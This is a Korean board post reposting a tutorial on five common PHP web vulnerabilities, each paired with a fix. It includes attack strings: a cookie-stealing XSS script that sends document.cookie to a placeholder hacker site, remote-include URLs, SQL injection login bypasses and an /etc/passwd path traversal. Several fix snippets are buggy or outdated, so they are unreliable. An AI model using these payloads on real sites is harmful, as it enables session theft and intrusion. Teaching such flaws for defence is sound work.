No.11661.249.♡.2062021.08.22 00:48
No.11540.77.♡.272021.08.20 16:16
No.11461.249.♡.1522021.08.12 20:22
No.11366.249.♡.602021.08.12 15:02
No.11266.249.♡.302021.08.12 05:07
No.111146.59.♡.2292021.08.05 04:53
No.11054.37.♡.1162021.08.05 02:02
No.10951.210.♡.662021.08.04 15:32
No.10851.195.♡.2292021.08.04 14:52
No.107139.99.♡.1712021.08.04 14:12
No.10651.91.♡.1522021.08.04 13:32
No.10554.36.♡.1602021.08.04 12:45
No.10451.195.♡.2552021.08.04 12:05
No.10361.249.♡.1412021.07.30 11:51
No.102185.154.♡.2282021.07.29 14:09
No.101216.244.♡.2262021.07.27 11:36
No.10066.249.♡.492021.07.26 02:12
No.9966.249.♡.502021.07.22 23:36
No.9882.80.♡.2282021.07.20 07:57
No.9782.80.♡.1562021.07.20 05:40
No.9661.249.♡.1922021.07.14 13:44
No.9566.165.♡.2272021.07.12 03:48
No.9417.121.♡.1622021.07.11 21:06
No.93136.243.♡.1052021.07.11 16:52
No.92157.55.♡.1212021.07.11 04:24
No.9161.249.♡.1312021.07.10 08:39
No.90136.243.♡.172021.07.07 10:06
No.8940.77.♡.782021.07.03 23:24
No.88198.204.♡.2122021.07.01 17:21
No.87162.55.♡.02021.07.01 02:53
No.86211.249.♡.2112021.06.25 21:21
No.85191.101.♡.102021.06.20 09:55
No.84192.252.♡.352021.06.18 21:43
No.8366.249.♡.842021.06.18 14:41
No.8261.249.♡.1092021.06.14 05:48
No.8135.210.♡.1852021.06.12 23:47
No.8061.249.♡.1442021.06.09 13:03
No.79175.210.♡.662021.06.07 21:02
No.7872.79.♡.662021.06.03 11:05
No.7761.249.♡.1492021.05.29 05:42
No.7635.153.♡.1392021.05.25 05:27
No.75207.46.♡.862021.05.25 04:43
No.7435.239.♡.1932021.05.23 10:54
No.7389.187.♡.2442021.05.19 14:43
No.7261.249.♡.1282021.05.09 18:40
No.7123.94.♡.1062021.05.05 18:59
No.70144.217.♡.1702021.05.03 05:06
No.6951.161.♡.1052021.05.01 19:10
No.68114.119.♡.92021.04.29 23:46
No.6766.249.♡.802021.04.29 09:45
No.66207.46.♡.1762021.04.28 09:45
No.6585.25.♡.102021.04.28 01:30
No.64114.119.♡.1322021.04.27 01:15
No.6361.249.♡.1302021.04.26 01:36
No.62207.46.♡.722021.04.23 19:46
No.6134.239.♡.572021.04.20 06:04
No.60114.119.♡.802021.04.18 20:17
No.5913.66.♡.132021.04.17 08:32
No.58158.175.♡.852021.04.14 04:28
No.5752.116.♡.1402021.04.13 15:47
No.56110.11.♡.462021.04.12 10:37
No.5589.46.♡.192021.04.11 15:51
No.5466.249.♡.782021.04.11 03:13
No.5313.66.♡.382021.04.10 01:24
No.5261.249.♡.1032021.04.10 00:03
No.5161.249.♡.1012021.04.08 11:11
No.5062.210.♡.22021.04.08 05:00
No.49100.26.♡.2552021.04.07 06:56
No.48114.119.♡.1432021.04.07 02:14
No.47199.189.♡.1012021.04.06 00:00
No.4613.66.♡.792021.04.05 13:25
No.45114.119.♡.1592021.03.31 11:46
No.44161.97.♡.42021.03.30 00:27
No.43181.177.♡.1242021.03.29 21:02
No.4266.249.♡.692021.03.27 07:50
No.41157.55.♡.222021.03.26 00:05
No.4061.249.♡.1802021.03.25 19:43
No.3966.249.♡.1302021.03.23 08:32
No.38114.119.♡.342021.03.20 21:56
No.3747.243.♡.562021.03.19 15:14
No.36114.119.♡.1382021.03.15 01:15
No.35119.65.♡.2052021.03.12 00:09
No.3481.209.♡.1452021.03.08 14:11
No.3389.46.♡.342021.03.07 19:30
No.32192.99.♡.972021.03.05 12:54
No.3140.77.♡.192021.03.03 05:03
No.3040.77.♡.232021.03.02 13:07
No.29103.221.♡.1452021.03.02 08:10
No.28114.119.♡.1272021.03.01 05:17
No.27114.119.♡.432021.03.01 01:23
No.26157.55.♡.1732021.02.28 06:25
No.2561.249.♡.1582021.02.24 19:23
No.2427.113.♡.1162021.02.16 21:20
No.2361.249.♡.1572021.02.15 11:57
No.2266.249.♡.132021.02.13 10:34
No.2199.106.♡.402021.02.12 12:05
No.20109.102.♡.612021.02.10 20:59
No.19185.119.♡.1002021.02.09 13:01
No.18185.119.♡.1022021.02.08 22:52
No.17109.102.♡.52021.02.07 16:14
No.1661.249.♡.1172021.02.06 13:33
No.1561.249.♡.1632021.02.05 14:37
No.14157.55.♡.1722021.02.04 08:32
No.13144.76.♡.1182021.02.02 19:55
No.12121.156.♡.2212021.01.29 22:31
No.11121.156.♡.2012021.01.29 22:25
No.1051.161.♡.2292021.01.29 22:19
No.954.208.♡.1792021.01.26 20:04
No.861.249.♡.2012021.01.25 09:48
No.752.237.♡.822021.01.22 16:02
No.6104.245.♡.2342021.01.18 13:43
No.5149.248.♡.2162021.01.16 06:09
No.4216.18.♡.1942021.01.14 05:16
No.361.249.♡.1462021.01.09 08:36
No.266.249.♡.702021.01.06 23:04
No.1예뜨락2021.01.06 20:44

원본글 : https://hyess.tistory.com/33


[PHP]PHP웹 보안 취약점 TOP5(웹해킹)


국제 웹 보안 표준 기구(OWASP - Open Web Application Security Project)에서 해마다 자주 발생하는 웹보안취약점 Top 10 을 선정하여 발표 합니다. 이것을 기준으로 PHP웹 보안 취약점 Top5를 알아보고, 해결책을 제시합니다.



1. 원격 코드 실행 ( Remode Code Execution )

이 방식은 주로 소스코드에 include 함수나 fopen 함수를 이용하여 변수로 넘겨받아서 파일명을 동적으로 불러들이는 코드에서 발생합니다.

예 include $_POST['filename'] 또는 include $filename;

위 예는 홈페이지 레이아웃을 구조화(header, footer 등) 할 때 사용합니다.

해킹예) http://사이트주소/파일명?filename='http://해킹주소/hackcode.php'

해킹자가 파일명을 전송폼으로 넘기거나, 파일변수명을 확인해서 외부 사이트의 파일주소를 변수로 넘기게 되면, 외부사이트의 파일주소내용이 실행되게 됩니다.

즉, 크로스 사이트 스크립트 공격이 일어나게 됩니다. 이 취약점은 다른 웹프로그래밍 언어보다 특히 PHP 사이트 에서 자주 일어 납니다. 그 이유는, PHP.ini 설절파일의 allow_url_open 속성이 on 으로 기본값이 설정이 되어 있기 때문에 URL 형식의 파일 열기가 가능합니다. ( Remote File Injection )

기본적으로 이러한 공격의 해결 방법은 PHP.ini 설정 항목중 allow_url_open = off 로 변경후 아파치 웹서버를 재부팅하면 해결 됩니다.

하지만, 해킹자가 외부사이트의 파일을 실행하게 하지 않고, 파일업로드를 통해서 내부웹서버에 파일을 업로드하였을 경우에는 업로드한 외부파일을 이용해서 include 를 실행하게 됩니다.

따라서, 해결책은 소스코드에서 파일로 include 문을 사용하여 홈페이지 제어를 할 경우 반드시 그 파일의 경로와 이름이 올바른지 확인하는 구문을 넣어서, 검증한 후 파일을 include 할 수 있도록 처리해야 합니다.

*해결예) $valid_filename = check_validation ( $_POST['filename']); //파일 위치 검증함수 check_validation 사용 (function check_validation($filename){

if(file_exists("$DOCUMENT_ROOT/common/$filename){

echo $filename;

}else{

echo "접근경로가 올바르지 않습니다.";

exit;

}

)

include $valid_filename;



2. 크로스 사이트 스크립팅 ( XSS, Cross Site Scripting )

게시판에 글을 쓸 때 사용자가 입력한 값을 그대로 데이터베이스에 등록하고, 글 읽기 페이지에서 그대로 출력한다면, 해커는 다음과 같은 자바스크립트 코드를 글제목에 삽입하는 것으로 해당사이트를 무력화 시킬 수 있습니다.

해킹예1.<script>location.href="광고사이트";</script>

사이트방문자가 게시판 페이지에 접속하는 순간, 자동으로 제목에 입력한 사이트로 이동하게 됩니다.

해킹예2.<script>location.href='해킹사이트/cookie.php?str='+document.cookie!</script>

사이트방문자의 쿠키정보를 해킹사이트로 보내게 됩니다.

해킹예3.<img src="없는파일이름.gif" onError="location.href='광고사이트'"> 로 하면, 글내용 읽기에서 파일없음 에러이벤트가 발생하기 때문에 광고사이트로 이동합니다.

해결첵은 사용자가 입력한 값을 검증해서, 삽입할수 없는 코드를 제거하는 것 입니다.

*해결예) 모든입력상자에 아래의 코드를 적용(공통함수사용이 바람직)

php변수 $user_input = strip_tags($user_input, "<img><b>");?> img태그와 b태그만 허용

script랑 style 태그제거 while(preg_match('/</?(script|style)/m', $user_input)) {

$user_input = preg_replace('/</?(script|style)/m','',$user_input);

}

인라인 이벤트핸들러 제거 where(preg_match('/<[a-aA-Z]+.+on(load|click|error|그외핸들러추가)=".*"/?>/m',$user_input)) {

$user_input = preg_replace('/(<[a-aA-Z]+.+)on(load|click|error|그외핸들러추가)=".*"(/?>)/m','XX', $user_input);

}

$user_input = mysql_real_escape_string($user_input);//mysql전용



3. SQL 인젝션 ( SQL Injection )

가장 대표적인 방법은 사용자 인증을 우회하는 것입니다.

해킹예1) 작은 따옴표를 이용한 해킹

로그인창을 기준으로 보면

SELECT COUNT(*) FROM USERS WHERE USERID = '$_POST[USERID]' AND USERPW = '$_POST[USERPW]' 카운터가 1 이상으로 로그인 할 수 있습니다.

이경우 아이디와 암호가 모두 일치해야지만, 카운터가 1 이상으로 나오는데, 해킹자는 암호를 몰라도 해당아이디로 카운터를 발행시킬수 있습니다.

해킹자는 로그인 하고자 하는 아이디를 입력하고, 비밀번호 항목에 다음과 같은 코드를 삽입 합니다.

아디디 : admin / 암호 : ' OR ' '='

위와 같이 넣으면, SQL쿼리는 다음과 같이 수정됩니다.

SELECT COUNT(*) FROM USERS WHERE USERID = 'admin' and USERPW = ' ' OR ' '=' '

위와 같이 로그인 쿼리가 변경되기때문에 WHERE 절이 항상 참이 됩니다. 그래서, admin 아이디로 로그인하게 됩니다.

* 해결책1) 사용자가 입력한 작은따옴표가 쿼리문에 반영되는 것을 금지하는 방법

PHP.ini 설정에 magic_quotes_gpc = on 으로 변경 후 아파치 재가동( 현재 설정값 확인 내장 함수 magic_quotes_gpc(); )

이렇게 하면, GET,POST,COOKIE 를 통해서 입력되는 작은 따옴표에 모두 를 자동으로 추가해 준다.

해킹예2) 작은 따옴표를 이용한 해킹방지를 건너띄는 WHERE조건이 숫자인 쿼리일 경우

DELETE BOARD WHERE USERID='admin' AND USERPW = 1234 AND IDX = 10

전송폼 입력 아디디 : 해킹자ID / 암호 : 1234 OR 0=0--

해킹된 쿼리 DELETE BOARD WHERE USERID='admin' AND PASSWD= 1234 OR 0=0 --AND IDX =

*해결책2) 문자파라미터는 문자만, 숫자파라미터는 숫자만 입력값을 받도록 한다.

암호와 일련번호가 숫자인 경우 $_POST[PASSWD]와 $_POST[IDX]가 숫자인지 학인하는 구문을 집어 낳는다.

$PASSWD = (int)$_POST[PASSWD];

$IDX = (int)$_POST[IDX];

위처럼 파라미터로 받은 값을 숫자형으로 변환하면,OR --가 숫자가 아니기때문에 해킹자가 원하는 DELETE가 이루어지지 않는다.



4. 안전하지 않은 PHP 설정 ( 1번만 주의 깊게 보세요 )

주로 PHP.ini 설정에 관련된 문제 인데

allow_url_open 과 magic_quotes_gpc 는 위에서 설명 되었고,

1. register_globals = Off; 올바른 값

변수의 출처를 구분해주는 역할을 사용하려면, Off를 해 주어야 한다.

즉, $ID와 $_GET[ID], $_POST[ID], $_COOKIE[ID] 등의 변수출처를 알수 읶게 되어서 다른 값으로 인식하고.

On 으로 적용하면, $ID 와 $_GET[ID], $_POST[ID], $_COOKIE[ID] 은 같은 같으로 인식한다.

회원로그인시 반드시 POST방식으로 변수를 받아야 하지만, 위 설정으로 GET방식으로 받아도 로그인이 가능해 진다.

2. open_basedir = '지정된 폴더'; 지정된 폴더외에 파일 접근을 막는 방법이 있음.

3. safe_mode = On; 파일에 접근시 파일에 대한 소유권 확인 ( php 6.0 부터 설정이 없어질 예정 )



5. 파일시스템공격 ( File System Attacks )

- 첨부파일 업로드를 이용한 공격

업르드 파일에 php,html 과 같은 실행 가능한 파일을 업로드하지 못하게 자바스크립트로만 제약을 걸어 놓는 경우

햬킹예1). 해킹예 자바스크립트를 사용하지 않음으로 브라우저에서 설정([F12]키)했을 경우 업로드가 가능하게 된다.

해결책1). 아래와 같이 프로그램 코드에서 실행가능한 파일 확장자를 막는 코드를 삽입한다.

<?

$filename = 'hack.php';

$ext_exp = '.(php|php3|html|htm|cgi|pl)';

if(eregi($ext_exp,$filename))

{

echo "업로드가 불가능한 확장자 입니다.";

}

else

{

echo "업로드가 가능한 확장자 입니다.";

}



- 첨부파일 다운로드 경로를 이용한 중요파일 해킹

보통 다운로드 링크를 걸때, 직접 경로로 접근을 하지 않고, download.php 파일을 이용해서 다운로드를 구현하게 되는데...

해킹예1). http://www.도메인/bbs/download.php?filename=../../../etc/ passwd 와 같이 시스템 중요한 파일을 다운로드 할 수 있게 된다.

해결책1). download.php 파일 코딩 상단에 아래 코드를 삽입

if( eregi("..|/", $filename )

{

echo "상대경로로 접근할 수 없습니다.";

exit;

}

기타. 세션관리의 취약점(보통 셰션은 로그인 유지사용된다.)

-. 쿠키를 이용한 세션 ( 취약점.암호화 해도 콕시 툴로 하이젝킹이 가능 )

-. 서버 세션을 이용한 세션

취약점 : 서버의 PHPSESSID 는 로그인 후 브라이저를 닫아도 20 이내에는 살아 있게 됩니다.

쿠키보다는 서버세션을 이용한 로그인을 유지하는 것이 좋다.

위 2가지 모두 Cooxie 툴바 해킹툴로 세션을 알아 낼 수 있다.(하이젝킹 가능)


해킹예) 홈페이지 게시판에

<script>location.href='해킹사이트/cookie.php?str='+document.cookie!</script>

위와 같이 쿠키 값을 해킹자의 사이트로 전송하는 스크립트를 게시물에 삽입 했을때...

해결책) 상단의 2번 크로스 사이트 스크립팅 ( XSS, Cross Site Scripting ) 해결책을 사용한다.

참고로, 관리자폴더는 유추가 가능한 admin, manage 같은 폴더명을 사용하지 않도록 한다.

예뜨락

전체 글 작성 : 120

전체 코멘트 작성 : 150

너는 한 송이 꽃과 같이 - 하이네

너는 한 송이 꽃과 같이
참으로 귀엽고 예쁘고 깨끗하여라.
너를 보고 있으면 서러움이
나의 가슴 속까지 스며든다.

언제나 하느님이 밝고 곱고 귀엽게
너를 지켜주시길
네 머리 위에 두 손을 얹고
나는 빌고만 싶다.
이게시물의 짧은 주소 : http://marihome.net/zTAAjWdr

이 게시물에 대해 어떻게 생각하세요?

IP : 54.160.245.243

게시물이 수정되었습니다 ( 2022년 02월 07일 04시 43분 42초 )

이 저작물은 아래 조건 만족 시
별도 허가 없이 사용 가능합니다.

크리에이티브 커먼즈 라이선스에 관해
더 많은 정보를 얻으시려면 클릭하세요


이전 글 다음 글 게시물 신고 인쇄 스크랩 공유
글 쓰기 답글 목록


해당 컨텐츠는 글쓴이의 선택에 의해 댓글을 사용하지 않습니다.

이전 게시물 이후 게시물 신고 인쇄 스크랩 공유
답글 목록


글 순서 글 제목 글쓴 사람 글쓴 날짜 읽은 수 감정 수
10 요즘 정리중인것2 주인장 23.06.05 72 0
9 하루 하루 정리중인 것들 예뜨락 23.01.28 456 0
8 잠시 쉬어가는 김에 방명록 스킨 만들기 예뜨락 22.06.02 617 1
7 소셜 네트워크 로그인 예뜨락 22.05.25 651 0
6 레벨과 포인트 작업 예뜨락 21.11.17 701 0
읽고 있는 곳 보안에 관련된 내용 예뜨락 21.01.06 803 0
4 사용자 스킨의 제작 접근성 예뜨락 20.08.31 840 0
3 게시판 아이디 변경시 주의 사항 예뜨락 13.12.05 481 0
2 모듈 생성에 대한 고찰 예뜨락 13.11.03 389 1
1 마리홈의 사이트 빌더화 댓글수1 예뜨락 13.10.27 453 1
검색 목록


이름 제목 내용


회원로그인

마리홈피마리홈피
↓ 현재 읽고 있는 곳